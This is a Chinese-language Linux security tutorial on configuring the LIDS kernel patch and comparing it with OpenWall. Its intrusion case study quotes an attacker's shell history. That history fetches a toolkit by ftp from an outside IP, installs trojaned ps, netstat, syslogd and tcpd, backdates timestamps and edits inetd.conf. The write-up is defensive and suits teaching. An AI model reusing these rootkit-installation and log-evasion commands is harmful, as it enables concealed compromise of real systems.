配置LIDS:
有一条特别要引起注意:在你的系统的下一次重启之前就应该配置好LIDS!我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf,而不能手动的修改。运行"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供了很多使用LIDS保护文件的例子,例如:
lidsadm -A -r /sbin 这条命令保护/sbin整个目录,并且表示只读。
我首先的LIDS配置文件应该是这样的:
lidsadm -Zlidsadm -A -r /usr/bin
lidsadm -A -r /bin
lidsadm -A -r /usr/sbin
lidsadm -A -r /sbin
lidsadm -A -r /usr/X11R6/bin
lidsadm -A -r /etc/rc.d
lidsadm -A -r /etc/sysconfig
一旦配置了LIDS的配置文件,就应该修改系统的启动文件保证在系统启动的时候就能运行LIDS,这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加到/etc/rc.d/rc.local的末尾,这样能够保证LIDS的功能不会妨碍系统的其他应用程序的正常启动。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本:
/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO
-CAP_SYS_ADMIN-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE
+INIT_CHILDREN_LOCK
配置lilo
我们知道,使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编译加载过LIDS的新内核能够正常的启动。在下次重启之后,LIDS将会在系统中运行,不过如果你需要停止LIDS而执行一些系统的任务,就应该按照下面的命令进行:
/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
你需要提供LIDS的口令,当时在编译内核的时候在内核中加入了RipeMD-160格式。不知道你是否注意到了,在shutdown的脚本中,很多脚本都不能正常的工作。最终的shutdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件rc.local中 "+INIT_CHILDREN_LOCK"的保护作用,其他的进程都没有权限来杀掉init()的其他子进程。同时每隔10分钟,你就会收到一个关于"rmmod as"不能卸载模块的出错信息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保护使得模块的插入或者卸载出现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。
LIDS能够保护什么?
快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是最重要的:
CAP_LINUX_IMMUTABLE 当文件和外那间系统被标识"immutable"防止被写; CAP_NET_ADMIN 防止篡改网络配置(例如:防止路由表被修改);
CAP_SYS_MODULE 防止内核模块被插入或者移除;CAP_SYS_RAWIO 防止损坏磁盘或者设备I/O;
CAP_SYS_ADMIN 防止大范围的使用其他系统功能;
INIT_CHILDREN_LOCK which prevents child processes of the init() master process from being tampered with.
无论在哪个点,上面这些特性都能够通过命令"lidsadm -I"来启动,通过"lidsadm -S"来禁用(可以允许真正的系统管理员来进行系统配置),同时提供已经安装在内核中的LIDS口令(是通过RipeMD-160加密的)。
剖析一次入侵
当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限,这个时候就是主机被入侵了(事实上是不可能发生的,但是安装Linux系统的人忘记了打上RedHat最新的关于缓冲区溢出的补丁程序,并且让系统一直运行着)。当然一些黑客也不够小心,当他们侵入主机后,很急切的获得了shell,但是他们经常没有考虑到BASH的命令将会被存入系统日志文件中,简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作了一些什么事情。这个文件我们可以看看(为了更加简单我们做过一些细微的修改): mkdir /usr/lib/... ; cd /usr/lib/...ftp 200.192.58.201 21
cd /usr/lib/...
mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
mv tcpd.gz? tcpd.gz
gzip -d *
chmod +x *
mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
mv pt07 /usr/lib/; mv pstree /usr/bin ;
/usr/lib/pt07
touch -t 199910122110 /usr/lib/pt07
touch -t 199910122110 /usr/sbin/syslogd
touch -t 199910122110 /usr/sbin/tcpd
touch -t 199910122110 /bin/ps
touch -t 199910122110 /bin/netstat
touch -t 199910122110 /usr/bin/pstree
cat /etc/inetd.conf | grep -v 15678 /tmp/b
mv /tmp/b /etc/inetd.conf
killall -HUP inetd
通读这些内容,我们就可以了解下面的一些动作:
系统中建立了一个名字异常的目录(/usr/lib),接着黑客telnet到了自己的主机上面(200.192.58.201,是Brazil某个地方的拨号用户),同时下载了一套黑客工具。这些黑客工具尸没有经过压缩的,中间的一些特洛伊二进制程序被安装到了系统中了,这些特洛伊程序覆盖了系统的netstat,ps, tcpd, syslogd和pstree命令。这些程序是用来报告系统有那些进程正在运行,那些端口是打开的。
我们从中能学到什么呢?
首先,LIDS是不能阻止一次入侵的,黑客连接上主机通过缓冲区溢出的方式获得系统的root权限。一旦系统没有黑客入侵,我们看看LIDS是如何使破坏降到最低的。
LIDS通过CAP_LINUX_IMMUTABLE选项可以防止特洛亦程序被写入到/bin,/usr/bin,/usr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的(chattr +i),因而也不会被修改。我们可以注意到,就算不使用LIDS,也可以通过chattr +I命令来标识目录为不可变的,但是如果是通过LIDS以后,即使是root也不能篡改不可变标识位。类似的,如果文件通过chattr +I被标识为,touck -t这个命令也会失败。甚至第一行的"mkdir /etc/lib"这个命令也会失败,如果我们标识文件为不可读的话。
LIDS不能防止黑客入侵,但是可以防止入侵的黑客在侵入后进行很大的系统破坏。一个后门程序可以被安装上系统,但是没有特洛亦版本的ps,netstat和pstree能够很早的发现这个后门进程,然后kill之。如果没有LIDS,我们不可能知道黑客通过这个后门程序会做一些什么事情,我们唯一能够进行挽回的工作就是重装系统。
OpenWall和LIDS----额外的层
另外一个和LIDS相似的系统是OpenWall工程(http://www.openwall.com/linux/ )。OpenWall工程在很多地方和LIDS不一样,有一个OpenWall的特别的补丁就是使栈区为不可执行。下面是摘自OpenWall的README文档里面的申明:
大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中的地址,如果堆栈为不可执行,那么缓冲区溢出的弱点将会变得很难攻击。另外一种缓冲区溢出的方式是在libc中指出一个函数的返回地址,通常是system()。这个补丁通过修改mmap()化的共享库,使其总是一个零字节的文件。这样使其不能再指定一些数据,在很多攻击中不得不使用ASCIIZ字符串。
最近,在LIDS的网上上有一些完整的LIDS+OpenWall的内核补丁,这样可以提供LIDS和OpenWall都具备的特性。
在Linux系统中,通过使用这一系列的多层的安全措施,可以防止很大范围的攻击,同时还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口,在网络接口,系统内核上我们都可以防止他人的入侵。意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务,不管是root用户还是非root用户运行的,都能够成为一个潜在的安全威胁。充分准备好面对这些威胁。